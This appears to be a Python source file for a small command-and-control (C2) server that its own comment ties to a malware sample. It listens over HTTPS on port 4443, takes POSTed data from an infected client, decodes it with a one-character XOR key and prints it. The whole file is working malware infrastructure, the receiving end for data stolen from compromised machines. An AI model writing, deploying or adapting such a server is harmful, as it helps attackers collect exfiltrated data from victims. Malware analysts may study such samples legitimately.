# python simple C2 server for malware sample
import http.server
import socketserver
import ssl
from urllib.parse import urlparse, parse_qs

PORT = 4443
CERTFILE = "server.crt"
KEYFILE = "server.key"

class MyHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
    XOR_KEY = "k" # Define the same XOR key used in the client

    def xor(self, data, key):
        key = str(key)
        l = len(key)
        output_str = ""

        for i in range(len(data)):
            current = data[i]
            current_key = key[i % len(key)]
            ordd = lambda x: x if isinstance(x, int) else ord(x)
            output_str += chr(ordd(current) ^ ord(current_key))

        return output_str

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        encrypted_data = self.rfile.read(content_length)

        # Decrypt the received data using single-byte XOR
        decrypted_data = self.xor_decrypt(encrypted_data)

        # Handle the decrypted data here
        print("decrypted data:")
        print(decrypted_data)

        # Send an HTTP OK response
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write("HTTP OK".encode('utf-8'))

    def xor_decrypt(self, data):
        ciphertext = self.xor(data, self.XOR_KEY)
        return ciphertext

def run_https_server():
    httpd = socketserver.TCPServer(("0.0.0.0", PORT), MyHTTPRequestHandler)
    
    # Load SSL certificate and key
    httpd.socket = ssl.wrap_socket(httpd.socket, certfile=CERTFILE, keyfile=KEYFILE, server_side=True)

    print(f"server running on port {PORT}")
    httpd.serve_forever()

if __name__ == "__main__":
    run_https_server()
